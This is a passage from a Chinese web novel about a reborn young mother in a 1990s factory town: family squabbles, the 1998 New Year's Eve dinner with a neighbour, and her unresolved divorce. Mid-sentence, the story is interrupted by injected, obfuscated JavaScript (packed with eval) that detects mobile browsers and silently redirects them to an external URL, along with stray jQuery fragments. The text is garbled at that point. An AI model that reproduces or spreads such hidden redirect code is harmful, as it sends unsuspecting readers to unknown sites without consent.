杜涓当然没有犯病。
最迟不过明后年，这里就要盖起加工厂附属小学的校舍。
上辈子她上中学的时候，加工厂早就已经苟延残喘，但是改名育红小学的加工厂附小，则由于不知哪一位见义勇为的老师而被市里树为标杆。在政策各种倾斜下，教学质量也越来越高，根本不愁生源，甚至姥姥家都成了学区房。
也正因如此，棚户区改造时才能用两间小房换来三室一厅。
张晓风的小学还是在这里念的。偶尔妈妈有事，她就会被姥姥接回家。
那是张晓风童年记忆中比较明亮的一段，出校门几步路就到家，有吃不完的好吃的，还不用挨说。
可惜妈妈有事的频率实在太低，张晓风偶尔求妈妈去姥姥家住，得到的只有“那里离学校太近了，很吵耽误你写作业”这种牵强理由。
再后来……姥姥病了，精力也大不如前，张晓风更是懂事地不再提。
离学校太近了，很吵啊……
一个想法渐渐冒出来，按也按不下去。杜涓望着梁凤至疑惑的目光，犹豫了一下只是说：“妈妈我们回家吧。”
回到家，杜雨正揉着眼睛从床上坐起来。
梁凤至抄起鸡毛掸子：“叫你看孩子你睡觉！”语气里全是后怕。
杜涓跟在梁凤至身后，只是想了一下小杜若从床上滚下来，或是磕到哪个边边角角的场景，就冷汗直冒。
长出一口气，她才想起来去拦梁凤至：“妈妈没事，你看小杜若不还睡着呢吗？”
小杜若乖乖睡在大床中间，被角还掖得整齐，看来睡着了就一动也没动。
“就是的妈，你看这不没事嘛？”杜雨倒是心大。
梁凤至把鸡毛掸子挂回去：“看你那出！”转身把带回来的大浴巾漂洗一遍，平整挂在阳台，又把回家时顺路买的鸡蛋码进手工折的牛皮纸盒。
“两块三一斤了，什么都涨，就工资不见涨。”
杜涓点菜：“妈妈我想吃柿子炒鸡蛋。”
梁凤至闻言拿出三个西红柿。
杜雨横抱着小杜若，两腿搭在床边上晃荡，感觉就要把沉睡的小杜若给晃醒了。她伸长脖子看厨房：“妈我晚上不在家吃了！王大志找我吃饭！”
梁凤至又把一个西红柿放回去。小杜若被杜雨一嗓子彻底喊醒了，醒来第一件事就是哇哇大哭。
杜涓连忙抱过孩子，轻轻拍着哄着，直到哭声慢慢平息。
杜雨冲妹妹嘿嘿一笑，窜进厨房吃梁凤至正切着的西红柿，惨遭梁凤至打手。
“不知道空腹不能吃柿子吗？”
“刚刚知道！”
两个人幼稚地斗嘴，却又都眼尖地注意到杜涓从里面关上了卧室的门。
“我是不是有点太没正形了？”
杜雨迟疑地开口，以为会收获梁凤至像往常一样的一记眼刀，但梁凤至只是垂着头，一刀一刀把西红柿切成不规则的小块。
……
杜涓只是习惯性关上卧室门，并没察觉外头因此而安静下来。她有点儿疲惫地坐在梁凤至前几天刚刚扛回来的书桌前，从抽屉里拿出那本绿色胶面封皮的日记。
记录停在“一日渐过一日大腹便便，举头望见明月，低头却看不见自己的双足……”后面是彩色插页，印着中央电视台的照片——当然不是那座以某种贴身衣物命名的后现代建筑，而是一座瘦瘦高高的塔，塔下开满樱花。
再后面是大片的空白。
只不过愣了一会儿，左手已经被小杜若的重量压得酸痛，她把本子塞回抽屉，轻轻把小杜若换了个方向。
懵懵懂懂的婴儿看见眼前的妈妈突然角度发生变化，不知道发生了什么，只是瞪圆了眼睛。
杜涓伸出一根手指，轻轻地摸了摸怀里小婴儿还没长出几根的头发。
刚才回家看到杜雨把孩子扔在一边睡觉，她那一瞬间好不容易才压抑住心里腾地燃起的怒火。
那是一种本能。
如果是上辈子的杜涓，她肯定已经跟杜雨吵起来了吧。
就算没有，就算杜雨再大大咧咧，又有多少姐妹情谊在日复一日的生活中被消磨得一干二净呢？
杜涓没有答案。
桌角的台历还停留在昨天，杜涓伸长胳膊撕下这页，泛着灰色的草纸在指腹留下粗糙的触感。
台历只剩薄薄几页，这一年又快过去了。
新年到来的时候，梁凤至在桌角摆上新的台历，“我刚去你单位领的。”
杜涓翻了几页，日期下面印着宜忌事项、家常菜谱，偶尔还穿插几个笑话。
“小明第一次坐飞机，对同伴说‘哇，你看飞机飞得多高，地上的人都像蚂蚁一样小！’他的同伴说‘飞机还没起飞呢，你看到的就是蚂蚁！’”
杜涓嘴角微微抽动。
“抬抬手！”梁凤至挥舞着抹布，“都快过年了，就知道在这坐着嘎嘎乐。”
“现在连腊八还没到呢！”
年味确实越来越浓了，主要表现在梁凤至替杜涓从单位拎回来的米面豆油、苹果橘子、爆竹春联……旺旺大礼包……
杜涓再两耳不闻窗外事，也知道九十年代末期是国营大厂倒闭的高峰期，没想到加工厂发年货竟然这么慷慨。
然而她很快就知道了什么叫做小巫见大巫。小年那天，王大志扛着一台十八寸彩电上门了。
杜雨空着手跟在后面：“我们单位发的！”
杜涓目瞪口呆，梁凤至接受良好：“太好了，省得买了。”
一九九八年一月二十七日，除夕。
四个人围坐在折叠桌前，用新彩电看两个白裙子歌手在春晚深情对唱：“来吧，来吧，相约九八。”
“夹菜呀，多吃点。”
对于计划外来客，杜涓一贯沉默，杜雨有所收敛，梁凤至依旧接受良好。
杜涓抬眼看对面她半生不熟的邻居，已经习惯梁凤至隔三岔五投喂的谢广乾一片菠菜嚼了整整三十下，显然还没有习惯加入别人家的年夜饭。
下午梁凤至带着两个女儿去给去世的丈夫烧纸，回来的路上看见了出门扔垃圾的谢广乾，得知他因为明天要值班而不得不一个人留在杜鹃河过年，不由分说地把他拽到自己家。
“过年就得热热闹闹的，冷锅冷灶的像什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567386|171115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话！”
“你们领导也太欺负人了，明知道你家在外地，还给你排年初一值班，什么人呐这是，看给孩子可怜的。”
谢广乾想起上午给首都的家人拜年的时候，母亲对他说：“孩子，你要在岗位上做一颗螺丝钉，服从领导的安排，为祖国做贡献。”
他知道母亲的话是对的，也是为他好。
然而他看看写过的材料、加过的班，那些觥筹交错的晚上，他到底在为祖国的哪一个方面做贡献？
而在梁凤至絮絮叨叨地为他打抱不平的时候，他才知道，上午挂了电话之后的失落感，是源于从来没有人跟他讲过这些。
从来没有人吗……
谢广乾感慨了，感动了，感慨加感动的谢广乾双腿并拢、脊背挺直，端端正正地坐在杜涓家里……嗑了一下午瓜子。
他想要帮忙，走近灶台又被梁凤至推远。
“哪有让小孩干活的！快吃好吃的去吧！”
“我也是小孩，为啥让我干活！”屋里给小杜若换尿布的杜雨反抗。
“你都是小孩她大姨了，装什么小孩！”梁凤至双标道。
折叠桌另一侧的杜涓看着谢广乾抿嘴笑笑，“你看她俩，像不像演小品？”
谢广乾也笑，从隔壁拎来的一大袋砂糖橘里挑出一个最好看的剥开，把橘络仔仔细细地撕下来，再把完整的橘子连着橘子皮递给杜涓。
“真甜。”
杜涓满足地眯眼，不像后来的丑橘，好剥皮，超级甜，但是也没什么橘子味，现在的砂糖橘酸甜正好，让人吃着上瘾。
两个人吃到手指都被染成黄色。
杜涓看着指尖无语：“上次吃成这样还是小时候呢。”
谢广乾挑眉，杜涓小的时候家庭条件应该不错，他小时候，可从来没这样放开吃过填不饱肚子的水果。
但是说出口就不是那么回事，他们还没有熟到这种地步。谢广乾生硬地换个话题：“那个，你离婚了吗？”
杜涓被突如其来的问题呛到，“咳咳咳……还没有。找不到张强他们家人，估计是刻意躲着我们呢吧。”
梁凤至去了几趟杜涓办公室，回来时也捎回消息。张强几个月没上班，不知去了哪里。
他的工资折倒是还在杜涓家抽屉里放得好好的。
谢广乾其实问题出口就后悔，这个话题比他忍住没说的那个还冒犯。但杜涓除了意外，并没什么情绪波动，就好像在说别人的事情。
一颗心稍微安定，随即开始更剧烈地跳动。
“我有同事在民政口，用不用……”
杜涓心下了然，九十年代的小城市，很多事情都模棱两可。
“不用了。他不上班超过一定时间，无论是走还是留，都要回来办手续，就不信找不到他人。”
她还是想规范走程序，为了防止以后可能出现的任何麻烦。
“啊……这样啊。”
谢广乾张了张嘴，又不知道说什么。窗外的爆竹声就没停过，时不时吓哭小杜若，再加上厨房里热锅爆炒的声音，没人注意这片甚至不能被称为“客厅”的区域里，两个人长久的沉默。